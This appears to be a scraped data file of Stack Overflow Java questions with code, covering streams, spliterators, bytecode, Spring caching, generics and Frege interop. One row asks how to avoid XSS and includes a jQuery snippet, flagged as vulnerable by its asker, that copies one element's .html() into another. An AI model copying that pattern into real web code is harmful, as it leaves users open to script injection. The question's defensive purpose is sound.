T , ? extends R > Does anyone know what I am doing wrong ( and maybe provide some educated stream-API using solution ) ?","public int getTotalAmountOfSqlFiles ( Map < Path , List < Path > > sqlFilesInDirectories ) { int totalAmount = 0 ; for ( Path directory : sqlFilesInDirectories.keySet ( ) ) { List < Path > sqlFiles = sqlFilesInDirectories.get ( directory ) ; totalAmount += sqlFiles.size ( ) ; } return totalAmount ; } totalAmount = sqlFilesInDirectories.entrySet ( ) .stream ( ) .map ( List : :size ) .sum ( ) ;",Refactor a method to using stream API +Java,"I happen to read about XSS and how to avoid it . From what I have read , I came to know that we need input filtering , proper handling of application code and output encoding to make the web application somewhat XSS safe . After going through several articles , several doubts still persist . When I tried jQuery.text ( `` untrusted_data '' ) or element.text=untrusted_data , thebrowser seems to be encoding the content perfectly , but I have read somewhere else that client-side encoding should not be trusted and you have to `` always '' encode at the server-side . Why is client-side encoding considered not safe ? Whenever I tried to set value using jQuery.val ( untrusted_data ) or element.value=untrusted_data it seems to be safe enough . So is it really XSS safe or did I miss any case here ? Also , I happen to read somewhere that jQuery.setAttribute ( attrName , untrusted_data ) and setAttribute ( attrName , untrusted_data ) are generally considered safe only if the Attribute Names does n't include URL Context based attributes ( src , href etc ) or Event Handlers ( onClick , onMouseOver etc ) . If that is the case , how am I supposed to set an href attribute by using setAttribute ( `` href '' , untrusted_data ) ? Is encodeForHtmlAttribute ( untrusted_data ) from server-side the right way of approach ? How should I handle dynamic html creation . Consider the below example < div id= '' divName1 '' onClick= '' copyData ( ) '' > untrusted_data < /div > < div id= '' divName2 '' > < /div > What I want to achieve here is to get the text from divName1 and paste it to divName2 's content . The code I wrote above is XSS vulnerable . I can change this to jQuery ( `` # divName2 '' ) .text ( divValue ) So , this will ensure encoding , but as I understood , we say that client-side encoding is unsafe and only server-side encoding should be used . How should I write this to be XSS safe without using client-side encoding ? I am a bit confused here : ( . Please help me out to clear these doubts .",function copyData ( ) { var divValue = jQuery ( `` # divName1 '' ) .html ( ) ; jQuery ( `` # divName2 '' ) .html ( divValue ) ; /XSS Here },Some clarifications regarding XSS +Java,"This is a classic implementation of an immutable linked list : The default implementation of spliterator ( ) does not support efficient parallelizing : This will print 1 , 2 , 3 sequentially.How to implement spliterator ( ) to support efficient parallelizing ?","public abstract class List < A > implements Iterable < A > { private static final List NIL = new Nil ( ) ; public abstract A head ( ) ; public abstract List < A > tail ( ) ; public List < A > cons ( A a ) { return new Cons < > ( a , this ) ; } public static < A > List < A > nil ( ) { return NIL ; } @ Override public Iterator < A > iterator ( ) { return new Iterator < A > ( ) { private List < A > list = List.this ; @ Override public boolean hasNext ( ) { return list ! = NIL ; } @ Override public A next ( ) { A n = list.head ( ) ; list = list.tail ( ) ; return n ; } } ; } public Stream < A > stream ( ) { return StreamSupport.stream ( spliterator ( ) , false ) ; } public Stream < A > parallelStream ( ) { return StreamSupport.stream ( spliterator ( ) , true ) ; } } class Nil extends List { @ Override public Object head ( ) { throw new NoSuchElementException ( ) ; } @ Override public List tail ( ) { throw new NoSuchElementException ( ) ; } } class Cons < A > extends List < A > { private final A head ; private final List < A > tail ; Cons ( A head , List < A > tail ) { this.head = head ; this.tail = tail ; } @ Override public A head ( ) { return head ; } @ Override public List < A > tail ( ) { return tail ; } } List < Integer > list = List. < Integer > nil ( ) .cons ( 3 ) .cons ( 2 ) .cons ( 1 ) ; list.parallelStream ( ) .forEach ( i - > { System.out.println ( i ) ; try { Thread.sleep ( 1000 ) ; } catch ( Exception e ) { e.printStackTrace ( ) ; } } ) ;",Spliterator for immutable linked list +Java,"Analyzing the bytecode of this simple class , I have come to the conclusion that the compiler does n't retain any information about a local variable being final . This seems weird though , since I believe the HotSpot compiler could actually use this information to do optimizations.Code : Bytecode : Is there any specific reason not to retain the access flags of a local variable , other than saving disk space ? Because to me , it seems that being final is a relatively non-trivial property of a variable .","public static void main ( String [ ] args ) { final int i = 10 ; System.out.println ( i ) ; } public static void main ( java.lang.String [ ] ) ; descriptor : ( [ Ljava/lang/String ; ) Vflags : ACC_PUBLIC , ACC_STATICCode : stack=2 , locals=2 , args_size=1 0 : bipush 10 2 : istore_1 3 : getstatic # 16 // Field java/lang/System.out : Ljava/io/PrintStream ; 6 : bipush 10 8 : invokevirtual # 22 // Method java/io/PrintStream.println : ( I ) V 11 : return LineNumberTable : line 7 : 0 line 8 : 3 line 9 : 11 LocalVariableTable : Start Length Slot Name Signature 0 12 0 args [ Ljava/lang/String ; 3 9 1 i I",Variable 'final ' modifier lost in Bytecode ? +Java,"I am using linkedlist as a stack in groovy as doc says , pop ( ) take elm from the firstso a linkedlist [ 1,2,3 ] should pop ( ) 1 2 3and it does in Java , but does NOT in groovy . WHY ? test belowA.java compile and runruning in groovyhere is my java and groovy version","Stack Method Equivalent Deque Method push ( e ) addFirst ( e ) pop ( ) removeFirst ( ) import java.util . * ; public class A { public static void main ( String [ ] args ) { String [ ] x = `` 1/2/3/ '' .split ( `` / '' ) ; LinkedList < String > stack = new LinkedList < String > ( Arrays.asList ( x ) ) ; System.out.println ( stack.pop ( ) ) ; } } $ javac A.java $ java A1 $ ln -s A.java A.groovy $ groovy A.groovy3 $ java -versionjava version `` 1.6.0_51 '' Java ( TM ) SE Runtime Environment ( build 1.6.0_51-b11-457-11M4509 ) Java HotSpot ( TM ) 64-Bit Server VM ( build 20.51-b01-457 , mixed mode ) $ groovy -versionGroovy Version : 2.1.5 JVM : 1.6.0_51 Vendor : Apple Inc. OS : Mac OS X","same linkedlist code different behavior between groovy and java , why" +Java,"I saw this pattern somewhere : This structure is a little unusual to extend a generic by specifying the new type as actual type of generic . What is the use ? Is there a name for this pattern ? Is there any alternative pattern ? Example : https : //code.google.com/p/selenium/wiki/LoadableComponentJump to : public class EditIssue extends LoadableComponent < EditIssue > { Edit : After reading the responses , it seems that I need to alter my understanding of type checking by the compiler . At the back of my mind , my beef with this pattern was , if the two A 's need to be same then is there a way to not repeat them ? But it seems that there is no better way to propagate the derived class 's type to the parent .",class A extends B < A > { },What is the benefit of extending a generic by specifying the new type as actual type of generic +Java,"I 've run into a really strange bug , and I 'm hoping someone here can shed some light as it 's way out of my area of expertise.First , relevant background information : I am running OS X 10.9.4 on a Late 2013 Macbook Pro Retina with a 2.4GHz Haswell CPU . I 'm using JDK SE 8u5 for OS X from Oracle , and I 'm running my code on the latest version of IntelliJ IDEA . This bug also seems to be specific only to OS X , as I posted on Reddit about this bug already and other users with OS X were able to recreate it while users on Windows and Linux , including myself , had the program run as expected with the println ( ) version running half a second slower than the version without println ( ) .Now for the bug : In my code , I have a println ( ) statement that when included , the program runs at ~2.5 seconds . If I remove the println ( ) statement either by deleting it or commenting it out , the program counterintuitively takes longer to run at ~9 seconds . It 's extremely strange as I/O should theoretically slow the program down , not make it faster.For my actual code , it 's my implementation of Project Euler Problem 14 . Please keep in mind I 'm still a student so it 's not the best implementation : The line of code in question has been commented in with all caps , as it does n't look like SO does line numbers . If you ca n't find it , it 's within the nested if ( ) statement in my for ( ) loop in my main method.I 've run my code multiple times with and without that line , and I consistently get the above stated ~2.5sec times with println ( ) and ~9sec without println ( ) . I 've also rebooted my laptop multiple times to make sure it was n't my current OS run and the times stay consistent.Since other OS X 10.9.4 users were able to replicate the code , I suspect it 's due to a low-level bug with the compliler , JVM , or OS itself . In any case , this is way outside my knowledge . It 's not a critical bug , but I definitely am interested in why this is happening and would appreciate any insight .","public class ProjectEuler14 { public static void main ( String [ ] args ) { final double TIME_START = System.currentTimeMillis ( ) ; Collatz c = new Collatz ( ) ; int highestNumOfTerms = 0 ; int currentNumOfTerms = 0 ; int highestValue = 0 ; //Value which produces most number of Collatz terms for ( double i = 1. ; i < = 1000000. ; i++ ) { currentNumOfTerms = c.startCollatz ( i ) ; if ( currentNumOfTerms > highestNumOfTerms ) { highestNumOfTerms = currentNumOfTerms ; highestValue = ( int ) ( i ) ; System.out.println ( `` New term : `` + highestValue ) ; //THIS IS THE OFFENDING LINE OF CODE } } final double TIME_STOP = System.currentTimeMillis ( ) ; System.out.println ( `` Highest term : `` + highestValue + `` with `` + highestNumOfTerms + `` number of terms '' ) ; System.out.println ( `` Completed in `` + ( ( TIME_STOP - TIME_START ) /1000 ) + `` s '' ) ; } } public class Collatz { private static int numOfTerms = 0 ; private boolean isFirstRun = false ; public int startCollatz ( double n ) { isFirstRun = true ; runCollatz ( n ) ; return numOfTerms ; } private void runCollatz ( double n ) { if ( isFirstRun ) { numOfTerms = 0 ; isFirstRun = false ; } if ( n == 1 ) { //Reached last term , does nothing and causes program to return to startCollatz ( ) } else if ( n % 2 == 0 ) { //Divides n by 2 following Collatz rule , running recursion numOfTerms = numOfTerms + 1 ; runCollatz ( n / 2 ) ; } else if ( n % 2 == 1 ) { //Multiples n by 3 and adds one , following Collatz rule , running recursion numOfTerms = numOfTerms + 1 ; runCollatz ( ( 3 * n ) + 1 ) ; } } }","In OS X , why does using println ( ) cause my program to run faster than without println ( )" +Java,"I am using Spring Boot 1.5.9 on Tomcat 9.0.2 and I am trying to cache lookups using spring @ Cacheable scheduling a cache refresh job that runs on application startup and repeats every 24 hours as follows : and the cache service is as follows : the repository code : later in my webservice , when trying to get the lookup as follows : The first call it gets the lookup from the database and the subsequent calls it gets it from the cache , while it should get it from the cache in the first call in the web service ? Why am I having this behavior , and how can I fix it ?","@ Componentpublic class RefreshCacheJob { private static final Logger logger = LoggerFactory.getLogger ( RefreshCacheJob.class ) ; @ Autowired private CacheService cacheService ; @ Scheduled ( fixedRate = 3600000 * 24 , initialDelay = 0 ) public void refreshCache ( ) { try { cacheService.refreshAllCaches ( ) ; } catch ( Exception e ) { logger.error ( `` Exception in RefreshCacheJob '' , e ) ; } } } @ Servicepublic class CacheService { private static final Logger logger = LoggerFactory.getLogger ( CacheService.class ) ; @ Autowired private CouponTypeRepository couponTypeRepository ; @ CacheEvict ( cacheNames = Constants.CACHE_NAME_COUPONS_TYPES , allEntries = true ) public void clearCouponsTypesCache ( ) { } public void refreshAllCaches ( ) { clearCouponsTypesCache ( ) ; List < CouponType > couponTypeList = couponTypeRepository.getCoupons ( ) ; logger.info ( `` # # # # # # # # # couponTypeList : `` + couponTypeList.size ( ) ) ; } } public interface CouponTypeRepository extends JpaRepository < CouponType , BigInteger > { @ Query ( `` from CouponType where active=true and expiryDate > CURRENT_DATE order by priority '' ) @ Cacheable ( cacheNames = Constants.CACHE_NAME_COUPONS_TYPES ) List < CouponType > getCoupons ( ) ; } @ GET @ Produces ( MediaType.APPLICATION_JSON + `` ; charset=utf-8 '' ) @ Path ( `` /getCoupons '' ) @ ApiOperation ( value = `` '' ) public ServiceResponse getCoupons ( @ HeaderParam ( `` token '' ) String token , @ HeaderParam ( `` lang '' ) String lang ) throws Exception { try { List < CouponType > couponsList = couponRepository.getCoupons ( ) ; logger.info ( `` # # # # # # couponsList : `` + couponsList.size ( ) ) ; return new ServiceResponse ( ErrorCodeEnum.SUCCESS_CODE , resultList , errorCodeRepository , lang ) ; } catch ( Exception e ) { logger.error ( `` Exception in getCoupons webservice : `` , e ) ; return new ServiceResponse ( ErrorCodeEnum.SYSTEM_ERROR_CODE , errorCodeRepository , lang ) ; } }",Caching lookups on application startup does n't work +Java,"I 'm new in Spring and start with simple tutorials . I define simple jsp and Controller , then mapped it xml document and run it , but only what I have saw is a my wev page without values which I have passed in controler : I have learned a few tutorials and read a web part of official documentation that is relevant to my work but I have n't understand yet where is a problem in my code . I 'm stuck with it . If you have any ideas please share it with me . Thanks .","@ Controllerpublic class HomeController { @ Autowiredprivate ExampleService exampleService ; @ RequestMapping ( value = `` / '' , method = RequestMethod.GET ) public String home ( Model model ) { model.addAttribute ( `` serverTime '' , exampleService.getSystemTime ( ) ) ; model.addAttribute ( `` appVersion '' , exampleService.getAppVersion ( ) ) ; return `` home '' ; } } @ Componentpublic class ExampleService { @ Value ( `` # { appProperties.appVersion } '' ) private String appVersion ; /** * Returns formatted system time . * * @ return */public String getSystemTime ( ) { DateFormat dateFormat = DateFormat.getDateTimeInstance ( DateFormat.LONG , DateFormat.LONG ) ; return dateFormat.format ( new Date ( ) ) ; } public String getAppVersion ( ) { return appVersion ; } } < ? xml version= '' 1.0 '' encoding= '' UTF-8 '' ? > < web-app xmlns : xsi= '' http : //www.w3.org/2001/XMLSchema-instance '' xmlns= '' http : //java.sun.com/xml/ns/javaee '' xmlns : web= '' http : //java.sun.com/xml/ns/javaee/web-app_2_5.xsd '' xsi : schemaLocation= '' http : //java.sun.com/xml/ns/javaee http : //java.sun.com/xml/ns/javaee/web-app_2_5.xsd '' id= '' WebApp_ID '' version= '' 2.5 '' > < display-name > Spring < /display-name > < context-param > < param-name > contextConfigLocation < /param-name > < param-value > /WEB-INF/spring-config.xml < /param-value > < ! -- < param-value > /WEB-INF/jdbc-config.xml < /param-value > -- > < /context-param > < listener > < listener-class > org.springframework.web.context.ContextLoaderListener < /listener-class > < /listener > < servlet > < servlet-name > appServlet < /servlet-name > < servlet-class > org.springframework.web.servlet.DispatcherServlet < /servlet-class > < init-param > < param-name > contextConfigLocation < /param-name > < param-value > /WEB-INF/servlet-context.xml < /param-value > < /init-param > < load-on-startup > 1 < /load-on-startup > < /servlet > < servlet-mapping > < servlet-name > appServlet < /servlet-name > < url-pattern > / < /url-pattern > < /servlet-mapping > < ? xml version= '' 1.0 '' encoding= '' UTF-8 '' ? > < beans : beans xmlns= '' http : //www.springframework.org/schema/mvc '' xmlns : xsi= '' http : //www.w3.org/2001/XMLSchema-instance '' xmlns : beans= '' http : //www.springframework.org/schema/beans '' xmlns : util= '' http : //www.springframework.org/schema/util '' xmlns : context= '' http : //www.springframework.org/schema/context '' xsi : schemaLocation= '' http : //www.springframework.org/schema/mvc http : //www.springframework.org/schema/mvc/spring-mvc-3.0.xsd http : //www.springframework.org/schema/beans http : //www.springframework.org/schema/beans/spring-beans-3.0.xsd http : //www.springframework.org/schema/context http : //www.springframework.org/schema/context/spring-context-3.0.xsd '' > < annotation-driven / > < resources mapping= '' /resources/** '' location= '' /resources/ '' / > < beans : bean class= '' org.springframework.web.servlet.view.InternalResourceViewResolver '' > < beans : property name= '' prefix '' value= '' /views/ '' / > < beans : property name= '' suffix '' value= '' .jsp '' / > < /beans : bean > < context : component-scan base-package= '' com.home.spring '' / > < ? xml version= '' 1.0 '' encoding= '' UTF-8 '' ? > < beans xmlns= '' http : //www.springframework.org/schema/beans '' xmlns : xsi= '' http : //www.w3.org/2001/XMLSchema-instance '' xmlns : util= '' http : //www.springframework.org/schema/util '' xsi : schemaLocation= '' http : //www.springframework.org/schema/beans http : //www.springframework.org/schema/beans/spring-beans-3.0.xsd http : //www.springframework.org/schema/util http : //www.springframework.org/schema/util/spring-util-3.0.xsd '' > < ! -- Root Context : defines shared resources visible to all other web components -- > < util : properties id= '' appProperties '' location= '' properties.properties '' / >",Spring : how to invoke simple controller ? +Java,"I am creating a employee wage system . I have an abstract Employee class . WageEmployee and Manager extend Employee . Then Programmer and SalesPerson extend WageEmployee.My problem is that I want to create a SalesManager . The SalesManger has thier pay computed by adding commission and a salary . So they have type SalesPerson and Manager . What should I make an interface and what should SalesPerson extend ? It is only natural to extend SalesManager from manager , then make SalesPerson an interface . But I can not because it inherits from WageEmployee ... How do I get this to work . properly ? }",abstract class Employee { String name ; Employee ( ) { } Employee ( String nm ) { name = nm ; } abstract double computePay ( ) ; void display ( ) { } void setHours ( double hrs ) { } void setSales ( double sales ) { } void setSalary ( double salary ) { System.out.println ( `` NO ! `` ) ; },"Java , multiple inheritance . How should I do this ?" +Java,The getClass ( char c ) method from Normalizer class seems to be missing from Java 6 onwards . This method is present in our legacy code and is being used as shown below . We need to migrate it to Java 6 . Any suggestions on how it can be replaced ?,"import sun.text.Normalizer ; /** * Returns an array of strings that have all the possible * permutations of the characters in the input string . * This is used to get a list of all possible orderings * of a set of combining marks . Note that some of the permutations * are invalid because of combining class collisions , and these * possibilities must be removed because they are not canonically * equivalent . */private String [ ] producePermutations ( String input ) { if ( input.length ( ) == 1 ) return new String [ ] { input } ; if ( input.length ( ) == 2 ) { if ( getClass ( input.charAt ( 1 ) ) == getClass ( input.charAt ( 0 ) ) ) { return new String [ ] { input } ; } String [ ] result = new String [ 2 ] ; result [ 0 ] = input ; StringBuffer sb = new StringBuffer ( 2 ) ; sb.append ( input.charAt ( 1 ) ) ; sb.append ( input.charAt ( 0 ) ) ; result [ 1 ] = sb.toString ( ) ; return result ; } int length = 1 ; for ( int x=1 ; x < input.length ( ) ; x++ ) length = length * ( x+1 ) ; String [ ] temp = new String [ length ] ; int combClass [ ] = new int [ input.length ( ) ] ; for ( int x=0 ; x < input.length ( ) ; x++ ) combClass [ x ] = getClass ( input.charAt ( x ) ) ; // For each char , take it out and add the permutations // of the remaining chars int index = 0 ; loop : for ( int x=0 ; x < input.length ( ) ; x++ ) { boolean skip = false ; for ( int y=x-1 ; y > =0 ; y -- ) { if ( combClass [ y ] == combClass [ x ] ) { continue loop ; } } StringBuffer sb = new StringBuffer ( input ) ; String otherChars = sb.delete ( x , x+1 ) .toString ( ) ; String [ ] subResult = producePermutations ( otherChars ) ; String prefix = input.substring ( x , x+1 ) ; for ( int y=0 ; y < subResult.length ; y++ ) temp [ index++ ] = prefix + subResult [ y ] ; } String [ ] result = new String [ index ] ; for ( int x=0 ; x < index ; x++ ) result [ x ] = temp [ x ] ; return result ; } private int getClass ( char c ) { return Normalizer.getClass ( c ) ; }",Replacement for Normalizer.getClass ( c ) method in Java 6 +Java,"Code snippet - 1Code snippet - 2While the second code snippet is working fine without causing any race conditions , the first one is n't successful in synchronizing access to the static data member between different instances of the same class ( RequestObject ) . Could somebody throw more light on this . I would like to understand why the first approach is n't working.My original implementation is the first one . The later I saw in https : //stackoverflow.com/a/2120409/134387 .",class RequestObject implements Runnable { private static Integer nRequests = 0 ; @ Override public void run ( ) { synchronized ( nRequests ) { nRequests++ ; } } } class RequestObject implements Runnable { private static Integer nRequests = 0 ; private static Object lock = new Object ( ) ; @ Override public void run ( ) { synchronized ( lock ) { nRequests++ ; } } },Synchronizing access to Immutable Integer object +Java,"I 'm primarily a Java programmer , so this would be one of those `` what is this thing from Java equivalent to in C # '' questions . So , in Java , you can restrain a Class type argument at compile time to extend a certain super-class , like so : and evenYou can even chain multiple interfaces : How is this done in C # ? I know you can use `` where T : BaseClass '' , but this is only applicable when you have an instance T. What about when you only have a Type instance ? EDIT : For explanation , here is what I would like to do : ASSEMBLY # 1 ( base.dll ) : ASSEMBLY # 2 ( sub1.dll , references base.dll ) : ASSEMBLY # 3 ( sub2.dll , references base.dll ) : ASSEMBLY # 4 ( main.dll , references base.dll ) : So , in this example , I do n't care what class the 'type ' variable represents , as long as it is derived from BaseClass , so once I create an instance , can call Foo ( ) .The parts that are not vaild C # code ( but rather some Java mockup ) are the `` generic '' Type classes : Type < T > and Type < ? : BaseClass > .","public < T extends BaseClass > void foo ( Class < T > type ) { ... } public < T extends BaseClass > T foo ( Class < T > type ) { ... } public < T extends BaseClass & BaseInterface1 & BaseInterface2 > void foo ( Class < T > type ) { ... } abstract class BaseClass { abstract void Foo ( ) ; } class SubClass1 : BaseClass { void Foo ( ) { // some code } } class SubClass2 : BaseClass { void Foo ( ) { // some other code } } class BaseClassUtil { static void CallFoo ( Type < T > type ) where T : BaseClass { T instance = ( T ) Activator.CreateInstance ( type ) ; instance.Foo ( ) ; } } public static void Main ( String [ ] args ) { // Here I use 'args ' to get a class type , // possibly loading it dynamically from a DLL Type < ? : BaseClass > type = LoadFromDll ( args ) ; // Loaded from DLL BaseClassUtil.CallFoo ( type ) ; }",Make sure Type instance represents a type assignable from certain class +Java,"I wrote this piece of code and it seems compiler allows accessing uninitialized blank final field when accessed using 'this ' keyword : I tried compiling it on 1.5 , 1.6 , & 1.7 and got same result in all three of them.To me it looks like compiler bug because compiler must throw error in this case but with 'this ' keyword it does n't and thus creates scope of coding error as it will go unnoticed by the programmer since no compile-time or run-time error will be thrown.FEW POINTS WHY IT IS NOT A DUPLICATE - all answers are explaining how it works and what JLS says , fine , but my real intent here is should that be allowed at the first place ? - my question here is more from programmer 's point of view and not language semantics","public class TestClass { public final int value1 ; public int value2 ; TestClass ( int value ) { value2 = 2 + this.value1 ; // access final field using 'this ' before initialization gives no compiler error //value2 = 2 + value1 ; // uncomment it gives compile time error - variable value1 might not have been initialized value1 = value ; } public static void main ( String args [ ] ) { TestClass tc = new TestClass ( 10 ) ; System.out.println ( `` \nTestClass Values : value1 = `` + tc.value1 + `` , value2 = `` + tc.value2 ) ; } }",Java compiler allows accessing uninitialized blank final field using 'this ' keyword ? Is this a bug ? +Java,"I am trying to load google map on JavaFx-WebView , and it does n't show anything except background color of html body that i have coded on html file.Also i tried some examples on Google search , all the result were older . None of it works.My Java version is `` 1.8.0_121 '' I wrote a html file & run it . It loaded google maps successfully.Then i load the html file to webview using webEngine.load ( `` path '' ) method.it does n't show anything except backgound color.After that I triedhttp : //rterp.github.io/GMapsFXruns ClusteredMainApp.java ( put my google api key ) consoles outputs are : '' hier '' '' clustererimages/m '' '' Hide directions called '' '' loadMapLibrary '' '' loadMapLibrary done '' '' initMap '' '' LatLong : ( 47.606189 , -122.33584200000001 ) '' '' netscape.javascript.JSException : Error : The Google Maps JavaScriptAPI does not support this browser . ( undefined,0 ) '' Also i could n't find any solutions for this errorHtml FileCSS : javascript : } html : JavaFX :","# map_canvas { height : 100 % ; background-color : blue ; } function initialize ( ) { var latlng = new google.maps.LatLng ( 37.39822 , -121.9643936 ) ; var myOptions = { zoom : 14 , center : latlng , mapTypeId : google.maps.MapTypeId.ROADMAP , mapTypeControl : false , navigationControl : false , streetViewControl : false , backgroundColor : `` # 666970 '' } ; document.geocoder = new google.maps.Geocoder ( ) ; document.map = new google.maps.Map ( document.getElementById ( `` map_canvas '' ) , myOptions ) ; < body onload= '' initialize ( ) '' > < div id= '' map_canvas '' style= '' width:100 % ; height:100 % '' > < /div > < /body > public class WebMap extends Application { @ Override public void start ( Stage stage ) { // create web engine and view final WebView webView = new WebView ( ) ; final WebEngine webEngine = webView.getEngine ( ) ; webEngine.load ( getClass ( ) .getResource ( `` WebMap.html '' ) .toString ( ) ) ; // create scene stage.setTitle ( `` Web Map '' ) ; Scene scene = new Scene ( webView,1000,700 , Color.web ( `` # 666970 '' ) ) ; stage.setScene ( scene ) ; // show stage stage.show ( ) ; } public static void main ( String [ ] args ) { Application.launch ( args ) ; } }",Does new versions of google map 's javascript versions work on JavaFx-WebView +Java,"I have a list of sites that represent spam links : Is there a regex way of removing links matching these banned sites from this text : Notice the link may have multiple URL formats which aioobe 's solution does a good job of identifying : But while the code above works great for the URL formats spam1.com or http : //www.spam1.com or http : //spam1.com , it misses the multiple text formats : How can I modify the regex to target text formats such as these ? The idea is to produce a result like this : As I remarked in the comments below , I probably do n't need to ban the whole string spam1 dot com . If I can efface just the spam1 part so that it becomes : [ LINK REMOVED ] dot com - that would do the job .","List < String > bannedSites = [ `` spam1.com '' , `` spam2.com '' , `` spam3.com '' ] ; Dear Arezzo , Please check out my website at spam1.com or http : //www.spam1.com or http : //spam1.com or spam1 dot com to win millions of dollars in prizes.Thank you.Big Spammer String input = `` Dear Arezzo , \n '' + `` Please check out my website at spam1.com or http : //www.spam1.com '' + `` or http : //spam1.com or spam1 dot com to win millions of dollars in prizes . '' + `` Thank you . `` ; List < String > bannedSites = Arrays.asList ( `` spam1.com '' , `` spam2.com '' , `` spam3.com '' ) ; StringBuilder re = new StringBuilder ( ) ; for ( String bannedSite : bannedSites ) { if ( re.length ( ) > 0 ) re.append ( `` | '' ) ; re.append ( String.format ( `` http : // ( www\\ . ) ? % s\\S*| % 1 $ s '' , Pattern.quote ( bannedSite ) ) ) ; } System.out.println ( input.replaceAll ( re.toString ( ) , `` LINK REMOVED '' ) ) ; spam1 dot comspam1 [ .com ] spam1 .comspam1 . com Dear Arezzo , Please check out my website at [ LINK REMOVED ] or [ LINK REMOVED ] or [ LINK REMOVED ] or [ LINK REMOVED ] to win millions of dollars in prizes.Thank you.Big Spammer",How to define a regex to remove text-masked spam links ( `` spam1 dot com '' ) from a Java String ? +Java,"In JDK 1.6 , Doug Lea uses final preceding the next field.Whereas in JDK 1.7 , the next field is preceded by volatile . I also notice that in JDK 1.7 , the get method adopts getObjectVolatile method to read the value field , which has the volatile load semantics . I have no sense why Doug Lea previously uses final . If there are problems with correctness , then how could he replace it with volatile in JDK 1.7 ( also JDK 1.8 ) ? Edit : Specifically , my question is that could we replace final with volatile in JDK 1.6 's implementation ?","static final class HashEntry < K , V > { final K key ; final int hash ; volatile V value ; final HashEntry < K , V > next ;",Different ` next ` entry of ConcurrentHashMap in JDK 1.6 and JDK 1.7 +Java,"I 'm building a web service that needs to switch between two sets of properties depending on the request URL coming in . I 'm not sure which is the best method of handling this.I 've got a Spring Boot app that has an yaml properties file . Inside the properties file the structure looks something like this ; Both optionA and optionB have pretty much all the same properties , just different values.So a request comes in , I check the request and decide if I need optionA or optionB.I 've been trying to get @ ConfigurationProperties to handle this but the properties are initialised on startup so it ca n't be dynamic . Another possibility is that I have two Configuration classes , one for each option but then my code gets full of checks to switch between the two classes and the classes are pretty much identical , not really nice either . Any best practices or recommendations on how to best manage this would be appreciated , cheers !",optionA : foo : urls : - a - b bar : something : hellooptionB : foo : urls : - x - y bar : something : bye,How to manage two sets of properties at runtime ? +Java,"Method BigDecimal.add takes a long time when one argument has a big exponent ( 9 digits ) , and the second has an exponent with the different length . I 've waited for more than 5 minutes , and it was still going on and on.Here 's code : Here 's part of thread dump : What is going on ? Is this a bug ?","@ Testpublic void testAddBig ( ) throws Exception { MathContext mc = new MathContext ( 10 , RoundingMode.HALF_UP ) ; BigDecimal v1 = new BigDecimal ( `` 1E+100000000 '' , mc ) ; BigDecimal v2 = new BigDecimal ( `` 1 '' , mc ) ; System.out.println ( v1.add ( v2 ) ) ; } at java.math.BigInteger.square ( BigInteger.java:1884 ) at java.math.BigInteger.squareKaratsuba ( BigInteger.java:1975 ) at java.math.BigInteger.square ( BigInteger.java:1888 ) at java.math.BigInteger.squareToomCook3 ( BigInteger.java:2011 ) at java.math.BigInteger.square ( BigInteger.java:1890 ) at java.math.BigInteger.squareToomCook3 ( BigInteger.java:2006 ) at java.math.BigInteger.square ( BigInteger.java:1890 ) at java.math.BigInteger.squareToomCook3 ( BigInteger.java:2012 ) at java.math.BigInteger.square ( BigInteger.java:1890 ) at java.math.BigInteger.squareToomCook3 ( BigInteger.java:2010 ) at java.math.BigInteger.square ( BigInteger.java:1890 ) at java.math.BigInteger.squareToomCook3 ( BigInteger.java:2006 ) at java.math.BigInteger.square ( BigInteger.java:1890 ) at java.math.BigInteger.squareToomCook3 ( BigInteger.java:2012 ) at java.math.BigInteger.square ( BigInteger.java:1890 ) at java.math.BigInteger.squareToomCook3 ( BigInteger.java:2011 ) at java.math.BigInteger.square ( BigInteger.java:1890 ) at java.math.BigInteger.pow ( BigInteger.java:2263 ) at java.math.BigDecimal.bigTenToThe ( BigDecimal.java:3543 ) at java.math.BigDecimal.bigMultiplyPowerTen ( BigDecimal.java:4508 ) at java.math.BigDecimal.add ( BigDecimal.java:4443 ) at java.math.BigDecimal.add ( BigDecimal.java:1289 )",BigDecimal.add strange behavior +Java,"I will try to explain my problem on cars . I have AbstractCar and the users ( developers ) of my library will create many their ConcreteCars . This AbstractCar has state and this state is very important for right working of the library ! Only the car can control its state ( no any Drivers etc ) . The state changes in methods start/stop at the beginning and at the end of the methods . Besides all cars must implement interface Car.I tried two variants.Variant 1At variant 1 the user of the library will have to remember to change the state . If he forgets to do it , then there will be a bug in the code.Variant 2In variant 2 the user ca n't forget about state because it is already outside his control , but if I have many states and many methods in which they can be changed this is not a very good way . Could anyone advise any pattern or technologies how to solve such problem ?","public enum State { STARTING , STARTED , STOPPING , STOPPED } public interface Car { public void start ( ) ; public void stop ( ) ; public State getState ( ) ; } public abstract class AbstractCar implements Car { private State state ; public void setState ( State state ) { ... } public State getState ( ) { ... } } public class ConcreteCar extends AbstractCar { @ Override public void start ( ) { setState ( stateK ) ; ... setState ( stateN ) ; } @ Override public void stop ( ) { setState ( stateR ) ; ... setState ( stateO ) ; } } public abstract class AbstractCar implements Car { private State state ; protected void doOnStart ( ) { } protected void doOnStop ( ) { } public final void start ( ) { state= ... ; doOnStart ( ) ; state= ... ; } public final void stop ( ) { state= ... ; doOnStop ( ) ; state= ... ; } } public class ConcreteCar extends AbstractCar { @ Override protected void doOnStart ( ) { ... . } @ Override protected void doOnStop ( ) { ... } }",Java : Design pattern for working with state and inheritance +Java,"Here 's the code : And here 's the outputI get it that Type parameter T is erased at runtime , but then why is the type parameter of ob surviving at runtime ?","public class Main { public static void main ( String [ ] args ) { Gen < Integer > g = new Gen < Integer > ( 5 ) ; System.out.println ( g.getClass ( ) ) ; System.out.println ( g.ob.getClass ( ) ) ; } } class Gen < T > { T ob ; public Gen ( T x ) { ob = x ; } } class Gen // This I understandclass java.lang.Integer // But if type erasure is happening , should n't this be java.lang.Object ?",Generics type erasure in Java +Java,"I would like to understand how Frege List works and how is it possible to use it from Java . While I downloaded the Frege compiler code , I found difficult to understand what a Frege List is from the Frege code.Doing some tests I saw that a Frege List is an instance of the TList class in Java with a special method , called _Cons ( ) , that returns a DCons object . DCons is , as expected , a pair where the first element of the pair corresponds to the head of the list while the second element is the tail , thus another TList . When _Cons ( ) is called on an empty lists , the return value is null . Therefore , to implement a Java iterator over Frege TList , one could write : My questions are : Is my explanation of TList correct ? Is TListIterator correct ? where can I find more informations on what TList , DList and DCons are in the Frege compiler source code ? Are they documented ? A more generic question on best practices in Frege : when you want Java code to use a Frege value , is it better to return Java `` standard '' Objects from Frege code or is it better to directly use Frege classes from Java ? My opinion is that the former is easier to write than the latter but has a little conversion overhead . For 